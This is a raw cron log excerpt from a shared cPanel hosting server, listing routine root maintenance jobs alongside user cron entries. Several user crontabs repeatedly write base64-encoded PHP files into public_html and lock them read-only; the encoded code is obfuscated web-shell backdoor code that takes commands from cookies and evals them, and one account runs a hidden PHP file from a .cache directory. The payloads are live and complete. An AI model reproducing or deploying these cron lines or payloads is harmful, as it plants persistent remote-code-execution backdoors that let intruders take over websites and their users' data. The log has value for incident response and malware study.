VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:49:01 medusa CROND[9220]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:50:01 medusa CROND[32446]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:50:01 medusa CROND[32447]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:50:01 medusa CROND[32450]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:50:01 medusa CROND[32455]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:50:01 medusa CROND[32456]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:50:01 medusa CROND[32458]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 17:50:01 medusa CROND[32463]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 17:50:01 medusa CROND[32464]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:50:01 medusa CROND[32462]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 17:50:01 medusa CROND[32466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:50:01 medusa CROND[32459]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:50:01 medusa CROND[32470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:50:01 medusa CROND[32473]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:50:01 medusa CROND[32474]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32475]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:50:01 medusa CROND[32467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32471]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:50:01 medusa CROND[32478]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32481]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32484]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32482]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:50:01 medusa CROND[32493]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:50:01 medusa CROND[32469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:50:01 medusa CROND[32461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 17:50:01 medusa CROND[32468]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32499]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:50:01 medusa CROND[32465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:50:01 medusa CROND[32483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 17:50:01 medusa CROND[32489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:51:01 medusa CROND[23606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:51:02 medusa CROND[23702]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:51:02 medusa CROND[23703]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:51:02 medusa CROND[23704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:51:02 medusa CROND[23705]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:51:02 medusa CROND[23712]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:51:02 medusa CROND[23714]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:51:02 medusa CROND[23713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:51:02 medusa CROND[23715]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:51:02 medusa CROND[23717]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:51:02 medusa CROND[23718]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:51:02 medusa CROND[23720]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:51:02 medusa CROND[23721]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:51:02 medusa CROND[23722]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
